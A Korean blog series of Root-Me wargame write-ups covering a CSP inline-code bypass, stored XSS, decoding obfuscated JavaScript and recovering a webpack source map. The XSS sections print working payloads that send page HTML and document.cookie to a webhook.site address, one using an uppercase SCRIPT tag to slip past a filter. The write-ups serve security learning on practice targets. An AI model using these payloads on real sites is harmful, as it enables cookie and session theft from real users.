Problem

How-To-Solve

우선 시작하기 전에 CSP가 뭔지 아는 것이 중요하다.

CSP는 Content-Security-Policy로 쓰이는 것이 3개 정도(?)있는데 현재는 앞에 말한 것만 남아있는 정도이다.(다른건 잘 안쓰는거로 알고 있음.)

웹 브라우저에서 사용하는 컨텐츠 기반의 보안정책인데 웹에서 사용하는 컨텐츠(이미지,스크립트 등등)에 대한 규칙 같으거라고 생각하면 된다.

 

이후에 나올 정책관련 내용을 이해하면 공격하는데 도움이 될거다.

  • default-src : 모든 리소스에 대한 정책(아래 것들 다 포함)
  • script-src : Javascript 등 웹에서 실행 가능한 스크립트에 대한 정책
  • object-src : 플러그인, 오브젝트에 대한 정책
  • style-src : style, 즉 css에 대한 정책
  • img-src : 이미지
  • media-src : video, audio
  • frame-src : iframe, X-Frame 헤더랑은 비슷한 역할
  • font-src : font
  • connect-src : script src로 불러올 수 있는 url에 대한 정책
  • form-action : form 태그 내 action 부분에 대한 정책
  • sandbox : HTML 샌드박스
  • script-nonce : 위에 script-src + 아래쪽에 none 이 포함되는 정책
  • plugin-types : 로드할 수 있는 플러그인 타입, 위에 object-src와 접점
  • reflected-xss : X-XSS-Protection header와 동일한 효과
  • report-uri : 정책 위반 케이스가 나타났을 때 내용을 전달할 URL

속성에 매핑도는 값은 4가지 정도 있습니다.

  • none : 미허용
  • self : 현재 도메인만 허용
  • unsafe-inline : 인라인 자바스크립트 및 CSS만 허용
  • unsafe-eval : eval 같은 텍스트-자바스크립트 메커니즘을 허용

위의 규칙을 적용하여 Response에서 보이는 내용을 비교하고 XSS 공격을 시도하면 된다.

그럼 우선 이름부터 넣어보고 패킷을 확인해본다.

위의 사진처럼 CSP를 확인할 수 있다.

none으로 표기된 것은 확인할 필요가 없어보이니까 제외하고 뜯어보겠다.

 

img-src 'self';  => img src는 현재 도메인만 허용

script-src 'unsafe-inline';  => 인라인 자바스크립트 및 CSS 허용

block-all-mixed-content; => 섞어서 쓰지마라

 

위에서 확인되는 것과 같이 XSS가 가능하다면 img src 를 활용해서 javascript 주입으로 가능할 것 같다.

다만 현재 도메인을 활용해야하므로 입력창이나 url내에서 시도하는 형식으로 진행해야할 것 같다.

번역 :

Quackquack 사에서 개발자들은 콘텐츠 보안 정책(CSP)을 구현하기 때문에 XSS를 패치할 필요가 없다고 생각합니다. 하지만 당신은 해커입니다, 그렇죠? 이 플래그를 빼낼 수 있을 것이라고 확신합니다: {FLAG_REDACTED}. (봇만 깃발을 볼 수 있습니다)

XSS를 시도하라고 말을 해주고 있다.

다만, Flag를 확인하기 위해서는 서버 측에서 전달받아야 할 것 같다.

그럼 XSS가 가능한지 확인하고자 한다.

img 태크를 활용한 XSS가 정상적으로 동작하는 것을 확인할 수 있다.

그러면 브라우저 내의 HTML 정보를 받아오면 되는지 확인해보겠다.

브라우저 내 정보를 받아왔으나 플래그가 정상적으로 받아지지 않는 것을 확인할 수 있다.

근데 마지막 문장에 봇만에 flag를 확인할 수 있다는 것을 봐서는 서버를 통해 전달받아야 한다는 것을 추측할 수 있다.

여기에서 문제는 URL입력을 통해 받아올 수 없다는 점이다.

아래에 이런게 있었는지 지금 봤다.

직접 URL로 받아와야하니 webhook을 사용하려고 한다.

그럼 alert를 활용하기보다는 location을 활용해서 concat으로 HTML코드를 보내는 형식으로 진행해보겠다.

 

http://challenge01.root-me.org:58008/page?user="<img src=x onerror="window.top.location='//webhook.site/d9347196-48f1-4bd8-b2a0-44e1c3afade1?flag='.concat(document.body.innerHTML)">

보냈다. 근데 왜 도착을 안한다.

문제가 있는 것 같아 URL 직접 입력으로 확인을 해보겠다.

location으로 유입이 되어야 하는데 안되는 것 같다.

한참을 고만했다.

window.location으로 javascript를 사용할 때 URI를 인코드 시켜줘야 하는 것을 이번에 새로 알게 되었다.

그래서 concat을 해주었을 때 top으로 location이 안되는 거였다.

(혹시 다르게 알고 있다면 언제든지 알려주세요.)

그럼 URI인코드를 통해 시도해보겠다.

http://challenge01.root-me.org:58008/page?user="<img src=x onerror="window.top.location='//webhook.site/ab580156-832c-44bb-be26-9fd6395823c9?flag='.concat(encodeURIComponent(document.body.innerHTML))">

 

정상적으로 도착했다.(아래 디코드가 된지 다하고 알았다.)

그러면 도착한 URI코드를 console로 디코딩해보겠다.

디코딩을 했는데 flag가 안나와서 생각해보니 URL이 아닌 서버로 보내야한다는 것을 알았다.

정상적으로 보내졌다. 기다려보자.

정상적으로 도착했다.

디코드를 해보겠다.(위에도 쓰여 있지만 아래 디코드가 된지 다하고 알았다.)

flag가 정상적으로 도착한 것을 확인할 수 있다.

(마지막으로 말하지만 webhook Query strings에 디코드가 된지 다하고 알았다.)

 

끝! 진짜 재밋었다ㅋㅋ

Problem

How-To-Solve

Stored는 저장되어 사용자나 관리자의 정보를 알아내야 하는 취약점이기 때문에 접근했을 때 자동으로 다른 사용자의 정보를 전송하도록 Script를 저장하도록 한다.

우선 스크립트를 작성해보도록 하겠다.

"<img src='https://webhook.site/ab580156-832c-44bb-be26-9fd6395823c9/?flag="+document.cookie+"'></img>"

처음 코드를 위와 같이 작성해봤는데 이거는 이미지는 들어갈 수 있지만 document.cookie가 실행되기는 어렵다.

아래와 같이 이미지가 실행될 수 있게 들어가는 것을 확인할 수 있다.

하지만 실행되서 도착한 flag값을 확인해보면 document.cookie가 실행되지 않는 것을 확인할 수 있다.

 때문에 실행될 수 있도록 다시 작성하여 삽입해보도록 하겠다.

 

<script>document.write("<img src='https://webhook.site/ab580156-832c-44bb-be26-9fd6395823c9/?flag="+document.cookie+"'></img>");</script>

위와같이 작성해보았다.

작성 후 삽입을 시도하였으나 삽입이 되지 않았다. 다른 태그는 필터링이 되었으나 script가 필터링이 되는 것으로 확인된다.

그렇다면 간단하게 우회하여 진행해보려한다.

<SCRIPT>document.write("<img src='https://webhook.site/ab580156-832c-44bb-be26-9fd6395823c9/?flag="+document.cookie+"'></img>");</SCRIPT>

전에 삽입한 코드와 다른 것은 script를 대문자로 변환하여 시도한 것이다.

제목을 test1으로 작성하여 시도하였는데 정상적으로 삽입되는 것을 확인할 수 있다.

접근 시 쿠키값이 정상적으로 탈취되는 것을 확인할 수 있다.

이제 ADMIN이 접근하기만을 기다리면 된다.

끝!

Problem

How-To-Solve

패스워드에 아무거나 넣고 우선 넘긴다.

헿(부끄)

크흠......

우선 소스를 분석해본다.

소스를 읽어보면 알 수 있는 것은 위의 코드에서 입력값이 어떻게 들어가든지 pass값이 뜰 것이라는 거다.

pass_enc로 사용자 입력값을 받아 tab에 저장한다.

pass값에 있는 10진수 값을 ,으로 split해서 tab2에 저장하는데 여기에서 어떤 입력을 넣더라도 tab2값이 decode되어 출력되는 것을 알 수 있다.

 

실질적으로 사용되는 값은 뒤에들어가 있는 값이라는 것을 알 수 있다.

뒤의 값이 UNICODE로 인코딩 되어 있는 것을 알 수 있는데 이것을 10진수로 변환해서 디코딩하면 될 것이다.

이렇게 하면 10진수로 변환되는 것을 볼 수 있다.

왜 toString에 10을 넣지 않는지 물어볼 수 있는데 기본 값은 10진수로 되어 있기 때문에 아무 값도 넣지 않으면 10진수로 나오게 되어있기 때문이다.

그러면 10진수 값을 decode해보겠다.

이렇게 하면 flag를 얻을 수 있다.

 

끝!

'Wargame > root me' 카테고리의 다른 글

[Web-Client] CSP Bypass - Inline code  (0) 2023.04.04
[Web - Clinet] XSS - Stored 1  (0) 2023.04.03
[Web-Client] Javascript - Webpack  (0) 2023.03.31
[Web-Client] Javascript - Native code  (0) 2023.03.30
[Web-Client] Javascript - Obfuscation 2  (0) 2023.03.29

Problem

How-To-Solve

흠......

안먹을게요;;;;

무튼 webpack이라고 했으니 소스 확인하여 소스에 flag가 확인되는지 찾아본다.

webpack이 확인된다.

이제 내부를 찾아본다.

다른 곳에서는 config파일을 찾아보고 webpack내에 존재하는 소스를 확인해서 찾는다고 한다.

하지만 솔직히 이해가 잘 가지 않았다.

그래서 일단 내가 할 수 있는 방법으로 찾아봤다.

network에서 확인되는 app.~~~.js파일의 마지막에 mapping 파일이 적혀 있는 것을 확인할 수 있다.

그래서 해당 js파일 URL에 map을 붙여서 확인했다.

map파일이 다운받아 지는 것을 확인할 수 있다.

해당 파일에서 flag를 확인해보면 찾을 수 있다.

물론 해당 URL의 /static/js/로 들어가면 위의 사진과 같이 디렉토리 리스팅 형태와 비슷하게 파일을 확인할수도 있다.

 

아래의 CVE에서 파생된 문제라고 하는데 읽어보면서 도움이 됐다.

https://www.cvedetails.com/cve/CVE-2018-14732/

 

 

CVE-2018-14732 : An issue was discovered in lib/Server.js in webpack-dev-server before 3.1.6. Attackers are able to steal develo

 

www.cvedetails.com

끝!

+ Recent posts